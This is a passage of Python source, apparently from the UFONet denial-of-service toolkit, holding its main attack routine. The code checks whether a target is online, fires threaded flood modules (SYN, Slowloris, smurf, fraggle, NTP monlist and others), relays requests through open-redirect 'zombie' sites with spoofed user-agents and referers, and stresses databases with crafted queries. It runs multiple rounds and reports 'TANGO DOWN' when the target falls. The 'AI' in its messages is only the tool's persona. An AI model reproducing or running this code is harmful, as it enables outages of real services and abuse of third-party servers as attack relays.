  6113. if self.db_flash > 9:
  6114. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  6115. else:
  6116. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  6117. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  6118. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  6119. if not target.endswith('/'): # add "/" to end of target
  6120. target = target + "/"
  6121. url = zombie + target + db_input + key
  6122. req = urllib.request.Request(url, None, headers)
  6123. if options.proxy: # set proxy
  6124. self.proxy_transport(options.proxy)
  6125. try:
  6126. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  6127. except urllib.error.HTTPError as e:
  6128. if e.code == 401:
  6129. print('[Info] [AI] [DBStress] Not authorized')
  6130. elif e.code == 404:
  6131. print('[Info] [AI] [DBStress] Not found')
  6132. elif e.code == 503:
  6133. print('[Info] [AI] [DBStress] Service unavailable')
  6134. else:
  6135. print('[Info] [AI] [DBStress] Unknown error')
  6136. else:
  6137. print('[Info] [AI] [DBStress] Database query: HIT!')
  6138. def attackme(self, zombies):
  6139. # perform a DDoS Web attack against yourself
  6140. print("[AI] Starting local port to listening at: " + self.port + "\n")
  6141. print('='*21 + "\n")
  6142. self.doll=Doll(self)
  6143. self.doll.start()
  6144. while not self.doll._armed:
  6145. time.sleep(1)
  6146. # send Open Redirect injection (multiple zombies-multiple target urls)
  6147. target = ""
  6148. self.injection(target, zombies)
  6149. self.doll.shutdown()
  6150. self.doll.join()
  6151. self.herd.list_fails()
  6152. def check_target_status(self):
  6153. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  6154. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  6155. if not self.options.forceyes:
  6156. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  6157. print("\n" + '-'*25)
  6158. else:
  6159. update_reply = "N"
  6160. if update_reply == "y" or update_reply == "Y":
  6161. try: # send HEAD connection
  6162. self.head = True
  6163. reply = self.connect_zombie(target)
  6164. self.head = False
  6165. if reply:
  6166. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  6167. else:
  6168. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6169. self.update_targets_crashed() # update targets crashed stats
  6170. self.update_mothership_stats() # update mothership completed attack stats
  6171. except Exception:
  6172. print("\n[Error] [AI] Something wrong with your connection!...\n")
  6173. if DEBUG == True:
  6174. traceback.print_exc()
  6175. return
  6176. else:
  6177. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6178. self.update_targets_crashed() # update targets crashed stats
  6179. self.update_mothership_stats() # update mothership completed attack stats
  6180. return
  6181. def starting_target_check(self, target, head_check):
  6182. options = self.options
  6183. head_check_here = False
  6184. head_check_external = False
  6185. if options.disablehead: # check at start is disabled (skipping!)
  6186. print("[Info] [AI] Skipping external check...\n")
  6187. head_check_here = True
  6188. head_check_external = True
  6189. else:
  6190. if head_check:
  6191. if not options.attackme:
  6192. print("[AI] Launching: 'Is target up?' check...\n")
  6193. try: # send HEAD connection
  6194. self.head = True
  6195. reply = self.connect_zombie(target)
  6196. self.head = False
  6197. if reply:
  6198. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  6199. head_check_here = True
  6200. else:
  6201. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  6202. head_check_here = False
  6203. except Exception:
  6204. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  6205. if DEBUG == True:
  6206. traceback.print_exc()
  6207. head_check_here = False
  6208. else: # check if local IP/PORT is listening on mothership
  6209. print("[AI] Launching: 'Is NAT ready?' check...\n")
  6210. try:
  6211. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  6212. result = sock.connect_ex(('0.0.0.0',8080))
  6213. if result == 0 or result == 110: # black magic
  6214. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  6215. head_check_here = True
  6216. else:
  6217. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  6218. head_check_here = False
  6219. except Exception:
  6220. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  6221. if DEBUG == True:
  6222. traceback.print_exc()
  6223. head_check_here = False
  6224. else:
  6225. head_check_here = True
  6226. # check target using external check services
  6227. self.external = True
  6228. if not options.attackme:
  6229. try:
  6230. target = self.parse_url_encoding(target) # parse for proper url encoding
  6231. if target.startswith("http://"):
  6232. target = target.replace("http://", "")
  6233. else:
  6234. target = target.replace("https://", "")
  6235. try:
  6236. url = self.external_check_service1 + target
  6237. self.user_agent = random.choice(self.agents).strip()
  6238. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
  6239. if options.proxy:
  6240. self.proxy_transport(options.proxy)
  6241. req = urllib.request.Request(url, None, headers)
  6242. external_reply = urllib.request.urlopen(req, context=self.ctx, timeout=10).read()
  6243. if b"is UP and reachable" in external_reply:
  6244. t = urlparse(self.external_check_service1)
  6245. name_external1 = t.netloc
  6246. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  6247. head_check_external = True
  6248. else:
  6249. raise RuntimeError("external service 1 did not confirm UP")
  6250. except Exception:
  6251. try:
  6252. host = target.split('/', 1)[0]
  6253. host = host.split(':', 1)[0]
  6254. port = 443 if 'https' in self.external_check_service1 else 80
  6255. with socket.create_connection((host, port), timeout=5):
  6256. pass
  6257. print("[Info] [AI] [Control] From OTHERS: YES -> [tcp://"+host+":"+str(port)+"]")
  6258. head_check_external = True
  6259. except Exception:
  6260. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  6261. head_check_external = False
  6262. except Exception:
  6263. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  6264. if DEBUG == True:
  6265. traceback.print_exc()
  6266. head_check_external = False
  6267. else:
  6268. try: # check mothership from public ip / NAT using HEAD request
  6269. try:
  6270. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  6271. reply = urllib.request.urlopen(req)
  6272. except Exception:
  6273. reply = None
  6274. if reply:
  6275. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  6276. head_check_external = True
  6277. else:
  6278. print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  6279. head_check_external = False
  6280. head_check_here = False # stop attack if not public IP available
  6281. except Exception:
  6282. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  6283. head_check_here = False # stop attack if not public IP available
  6284. if DEBUG == True:
  6285. traceback.print_exc()
  6286. head_check_external = False
  6287. self.external = False
  6288. if head_check_here and not options.disablehead and not options.attackme:
  6289. try:
  6290. from core._cdn import detect_cdn
  6291. cdn, evidence = detect_cdn(target)
  6292. except Exception:
  6293. cdn, evidence = (None, None)
  6294. if cdn:
  6295. print("\n[Warning] [AI] Target is behind a CDN/WAF: [" + cdn + "]")
  6296. if evidence:
  6297. print("[Info] [AI] CDN evidence -> " + evidence)
  6298. print("[Info] [AI] Open-redirect / L7 attacks often hit the edge cache, NOT the origin. -> [WAF may block!]\n")
  6299. if not options.forceyes:
  6300. r = input("[AI] Do you want to continue anyway? (Y/n)")
  6301. if r.strip().lower() == "n":
  6302. print("\n[Info] [AI] Aborting by user request -> [Exiting!]\n")
  6303. head_check_here = False
  6304. head_check_external = False
  6305. return head_check_here, head_check_external
  6306. def injection(self, target, zombies, head_check = True):
  6307. options = self.options
  6308. # check target's integrity at start
  6309. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  6310. # ask user to confirm the attack
  6311. if head_check_here == True or head_check_external == True:
  6312. if not self.options.forceyes:
  6313. if not options.attackme:
  6314. if not options.disablehead:
  6315. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  6316. else:
  6317. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  6318. else:
  6319. if not options.disablehead:
  6320. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  6321. else:
  6322. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  6323. else:
  6324. start_reply = "Y"
  6325. if start_reply == "y" or start_reply == "Y":
  6326. if options.attackme:
  6327. total_rounds = 2 # default rounds for attackme
  6328. else:
  6329. total_rounds = options.rounds # extract number of rounds
  6330. try:
  6331. total_rounds = int(total_rounds)
  6332. except:
  6333. total_rounds = 1
  6334. if not total_rounds:
  6335. total_rounds = 1
  6336. if total_rounds <= 0:
  6337. total_rounds = 1
  6338. self.herd.cleanup()
  6339. num_round = 1
  6340. num_hits = 0
  6341. num_zombie = 1
  6342. # start to attack the target with [MODS]
  6343. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  6344. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  6345. ex.daemon = True # extra weapons are threaded as daemons
  6346. ex.start()
  6347. # start to attack the target with [ARMY]
  6348. zombies = self.extract_zombies() # extract zombies from file
  6349. if zombies:
  6350. self.total_zombie = len(zombies)
  6351. else:
  6352. self.total_zombie = 0
  6353. return
  6354. self.herd=Herd(self)
  6355. if not self.options.disablepurge:
  6356. self.discardzombies = []
  6357. self.discard_aliens = []
  6358. self.discard_droids = []
  6359. self.discard_rpcs = []
  6360. self.discard_ucavs = []
  6361. total_disc_zombies = 0
  6362. self.num_discard_zombies = 0
  6363. self.num_discard_aliens = 0
  6364. self.num_discard_droids = 0
  6365. self.num_discard_rpcs = 0
  6366. self.num_discard_ucavs = 0
  6367. self.empty_zombies = False
  6368. for i in range(0, int(total_rounds)): # start attacking using rounds
  6369. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  6370. print('='*42)
  6371. print('Starting round:', num_round, ' of ', total_rounds)
  6372. print('='*42)
  6373. self.herd.reset()
  6374. self.extra_zombies_lock = True
  6375. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  6376. self.send_zombies(zombies) # send [Zombies]
  6377. if not self.options.attackme:
  6378. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  6379. if self.options.verbose:
  6380. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  6381. self.send_extra_zombies() # send [ARMY]
  6382. while self.extra_zombies_lock == True:
  6383. time.sleep(1) # wait for [ARMY] to return
  6384. if self.options.verbose:
  6385. print("\n" + '='*42)
  6386. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  6387. else:
  6388. zombies_lock = 0
  6389. if self.options.expire: # set timing for purge
  6390. try:
  6391. timing = int(self.options.expire)
  6392. except:
  6393. timing = self.expire_timing # default timing for purge
  6394. else:
  6395. timing = self.expire_timing # default timing for purge
  6396. if timing < 1:
  6397. timing = self.expire_timing # default timing for purge
  6398. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  6399. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  6400. zombies_lock = zombies_lock + 1
  6401. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  6402. if self.options.verbose:
  6403. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  6404. break
  6405. else:
  6406. time.sleep(1)
  6407. if self.options.verbose:
  6408. print("\n" + '='*42)
  6409. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  6410. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  6411. self.check_target_status()
  6412. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  6413. self.abandoning_zombies() # check for abandoning zombies
  6414. for zombie in self.herd.done: # check for num hits
  6415. if self.herd.connection_failed(zombie) == False:
  6416. num_hits = num_hits + 1
  6417. num_zombie = num_zombie + 1
  6418. if num_zombie > self.total_zombie:
  6419. num_zombie = 1
  6420. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  6421. check_is_loading = self.check_is_loading(target)
  6422. self.herd.dump_html()
  6423. if not self.options.disablepurge:
  6424. if self.empty_zombies == True:
  6425. break # exit routine when not any more zombies
  6426. num_round = num_round + 1
  6427. if self.options.verbose:
  6428. print("\n" + '='*42)
  6429. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  6430. if self.options.loic: # try to stop daemons/threads for extra weapons
  6431. self.t1.join()
  6432. if self.options.loris:
  6433. self.t2.join()
  6434. if self.options.ufosyn:
  6435. self.t3.join()
  6436. if self.options.spray:
  6437. self.t4.join()
  6438. if self.options.smurf:
  6439. self.t5.join()
  6440. if self.options.xmas:
  6441. self.t6.join()
  6442. if self.options.nuke:
  6443. self.t7.join()
  6444. if self.options.tachyon:
  6445. self.t8.join()
  6446. if self.options.monlist:
  6447. self.t9.join()
  6448. if self.options.ufoack:
  6449. self.t10.join()
  6450. if self.options.uforst:
  6451. self.t11.join()
  6452. if self.options.droper:
  6453. self.t12.join()
  6454. if self.options.overlap:
  6455. self.t13.join()
  6456. if self.options.pinger:
  6457. self.t14.join()
  6458. if self.options.ufoudp:
  6459. self.t15.join()
  6460. if self.options.fraggle:
  6461. self.t16.join()
  6462. if self.options.sniper:
  6463. self.t17.join()
  6464. if self.options.target_list:
  6465. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  6466. print ("\x1b[2J\x1b[H") # black magic
  6467. if not self.options.attackme: # show herd results
  6468. self.herd.dump()
  6469. else: # show doll results
  6470. print('='*21)
  6471. print("\n[Info] [AI] Mothership transmission...\n")
  6472. num_real_zombies = len(self.doll.real_zombies)
  6473. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  6474. for z in self.doll.real_zombies: # show only alien verified zombies
  6475. for x in z:
  6476. print(" - " + str(x))
  6477. self.herd.dump_html(True) # show (all) zombies statistics
  6478. if not self.options.attackme:
  6479. if not self.options.disablepurge:
  6480. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  6481. else:
  6482. if not options.target_list:
  6483. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  6484. else:
  6485. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  6486. self.update_mothership_stats() # update mothership stats
  6487. if not self.options.disablepurge:
  6488. print('='*21+ "\n")
  6489. self.discardzombies = list(dict.fromkeys(self.discardzombies))
  6490. self.discard_aliens = list(dict.fromkeys(self.discard_aliens))
  6491. self.discard_droids = list(dict.fromkeys(self.discard_droids))
  6492. self.discard_rpcs = list(dict.fromkeys(self.discard_rpcs))
  6493. self.discard_ucavs = list(dict.fromkeys(self.discard_ucavs))
  6494. self.num_discard_zombies = len(self.discardzombies)
  6495. self.num_discard_aliens = len(self.discard_aliens)
  6496. self.num_discard_droids = len(self.discard_droids)
  6497. self.num_discard_rpcs = len(self.discard_rpcs)
  6498. self.num_discard_ucavs = len(self.discard_ucavs)
  6499. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  6500. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6501. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  6502. elif total_disc_zombies > 1:
  6503. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  6504. if self.num_discard_zombies > 0:
  6505. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  6506. if self.num_discard_aliens > 0:
  6507. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  6508. if self.num_discard_droids > 0:
  6509. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  6510. if self.num_discard_rpcs > 0:
  6511. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  6512. if self.num_discard_ucavs > 0:
  6513. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  6514. if total_disc_zombies > 0:
  6515. if not self.options.forceyes:
  6516. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6517. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  6518. elif total_disc_zombies > 1:
  6519. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  6520. else:
  6521. backup_reply = "Y"
  6522. if backup_reply == "y" or backup_reply == "Y":
  6523. print("\n[Info] [AI] Purging failed units from files...\n")
  6524. discarded = []
  6525. _seen = set()
  6526. def _dedup(lst):
  6527. out = []
  6528. for x in lst:
  6529. if x not in _seen:
  6530. _seen.add(x)
  6531. out.append(x)
  6532. return out
  6533. if self.num_discard_zombies > 0:
  6534. for z in _dedup(self.discardzombies):
  6535. discarded.append(z)
  6536. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  6537. if self.num_discard_aliens > 0:
  6538. for a in _dedup(self.discard_aliens):
  6539. discarded.append(a)
  6540. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  6541. if self.num_discard_droids > 0:
  6542. for d in _dedup(self.discard_droids):
  6543. discarded.append(d)
  6544. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  6545. if self.num_discard_rpcs > 0:
  6546. for r in _dedup(self.discard_rpcs):
  6547. discarded.append(r)
  6548. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  6549. if self.num_discard_ucavs > 0:
  6550. for u in _dedup(self.discard_ucavs):
  6551. discarded.append(u)
  6552. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  6553. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  6554. if disc_zombies > 0 and disc_zombies < 2:
  6555. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  6556. elif disc_zombies > 1:
  6557. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  6558. if not self.options.target_list:
  6559. print('-'*21+ "\n")
  6560. print("[AI] "+self.exit_msg+"\n")
  6561. if not self.options.web:
  6562. return
  6563. else:
  6564. if self.num_target_list > 0: # still more targets
  6565. print('-'*21+ "\n")
  6566. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6567. return
  6568. else: # finish attack from multiple targets
  6569. print('-'*21+ "\n")
  6570. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6571. print("\n"+ '='*21+ "\n")
  6572. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6573. print("\n"+ '-'*21+ "\n")
  6574. print("[AI] "+self.exit_msg+"\n")
  6575. if not self.options.web:
  6576. return
  6577. else:
  6578. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6579. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6580. if os.path.exists('mothership') == True:
  6581. os.remove('mothership') # remove mothership stream
  6582. if os.path.exists('alien') == True:
  6583. os.remove('alien') # remove random alien worker
  6584. if not options.web:
  6585. sys.exit(2) # exit
  6586. else:
  6587. return
  6588. else:
  6589. print("\n" + '='*21)
  6590. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6591. if AI_reply == "y" or AI_reply == "Y":
  6592. self.AI() # AI fortune cookie
  6593. print('-'*21+ "\n")
  6594. print("\n[AI] "+self.exit_msg+"\n")
  6595. if os.path.exists('mothership') == True:
  6596. os.remove('mothership') # remove mothership stream
  6597. if os.path.exists('alien') == True:
  6598. os.remove('alien') # remove random alien worker
  6599. if not options.web:
  6600. sys.exit(2) # exit
  6601. else:
  6602. return
  6603. else:
  6604. if not options.attackme:
  6605. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6606. else:
  6607. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6608. print("\n" + '-'*21)
  6609. print("\n[AI] "+self.exit_msg+"\n")
  6610. if os.path.exists('mothership') == True:
  6611. os.remove('mothership') # remove mothership stream
  6612. if os.path.exists('alien') == True:
  6613. os.remove('alien') # remove random alien worker
  6614. return
  6615. if __name__ == "__main__":
  6616. app = UFONet()
  6617. options = app.create_options()
  6618. if options:
  6619. app.run()